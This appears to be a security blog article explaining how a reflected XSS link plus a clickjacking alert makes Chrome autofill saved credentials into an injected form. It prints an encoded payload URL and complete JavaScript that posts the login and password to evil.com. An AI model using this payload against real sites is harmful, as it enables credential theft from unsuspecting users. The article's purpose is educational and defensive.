How to Steal a Saved Password in Chrome Using XSS

[Man]

Hello, dear friends!
In this article, we will tell you how hackers can steal passwords saved in the browser using an XSS attack combined with ClickJacking.

By the way, XSS is one of the most popular web vulnerabilities . Strictly speaking, it is an attack, not a vulnerability, but let's agree that sometimes by XSS we will mean a vulnerability that allows an XSS attack to be carried out.

According to Wikipedia, XSS (Cross-Site Scripting) is “a type of attack on web systems that involves introducing malicious code into a web page (which will be executed on the user’s computer when they open the page) and allowing this code to interact with the attacker’s web server.”

The essence of the attack​

To attack a website user, they need to be forced to follow a specially created link (we have already written about social engineering methods that allow this to be done on our channel). The attack that requires a special link is called ReflectedXSS. There is also StoredXSS, in which case the malicious code is saved on the page, so the victim does not even need to be forced to follow the link, but simply needs to wait until someone opens the infected page.

• Let's say that as a result of social engineering, a user clicks on this link:

https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3e

At first glance, it does not arouse any particular suspicions: it is a bit long, but the domain is correct and the original site opens, which may make it seem that there is nothing to be afraid of (spoiler: for those who do not store passwords in the browser, the attack is really not scary). But when you click on the link, the malicious code encoded in the URL is triggered. The script steals the login/password combination from the victim's REG.RU personal account saved in the browser.

• This is how it looks through the eyes of the user who followed the link - an error notification appears on the page (we deliberately show some standard message so as not to arouse suspicion):

Clicking the OK button will open the main page of the site. That's all. Strange, but not suspicious. It is almost impossible to understand that at this time the hacker has already received the password saved in the browser.

Now let's figure out how this attack works...

Technical details​

• Let's see what's hidden in the link. To do this, we decode it:

• When you click on the link, JavaScript is loaded and executed:

var p =  document . createElement ( "input" ) ;
    p . setAttribute ( "type" ,  "password" ) ;
    p . setAttribute ( "name" ,  "password" ) ;
var l =  document . createElement ( "input" ) ;
    l . setAttribute ( "type" ,  "text" ) ;
    l . setAttribute ( "name" ,  "login" ) ;
var f =  document . createElement ( "form" ) ;
    f . setAttribute ( "method" ,  "post" ) ;
    f . setAttribute ( "action" ,  "https://evil.com/" ) ;
    f . appendChild ( l ) ;
    f . appendChild ( p ) ;
    document . body . appendChild ( f )
function  clck ( )  { setTimeout ( ( ) => { f . submit ( ) } ,  1000 ) }
document . body . setAttribute ( 'onclick' ,  'clck()' ) ;
    setTimeout ( ( ) => { alert ( 'Error sending CSRF token' ) } , 2000 )

This code creates a form on the page and fields with names that match the authorization form, so that the browser knows where to insert the saved password. The form is added at the ve-e-ery bottom:

In order for the browser (Chrome was used in the experiment) to insert the password, the user needs to interact with the page. It is impossible to simulate a click using JS, a real click is needed. To do this, we provoke the victim to instinctively click the OK button in the error message. The essence of the attack called ClickJacking is to force the user to click in a certain place. To ensure that everything has time to load and work, we specify the necessary timeouts. We hang the handler onclickon body.

After the first click, the password is sent to the hacker's site, where all that remains is to write it down, and the client is redirected to the main page.

• So how can an ordinary user protect himself from this particular attack?
• The answer is simple: don't store passwords in your browser. We recommend that our colleagues use password managers, such as KeePass or KeePassXC.

Conclusions​

This attack clearly demonstrates how dangerous XSS attacks can be when combined with social engineering. The options for using such vulnerabilities are limited only by the capabilities of javascript and the hacker's imagination.

The KeePassXC extension reduces the probability of a successful attack, but does not completely eliminate it. In any case, it is much safer than storing passwords in the browser.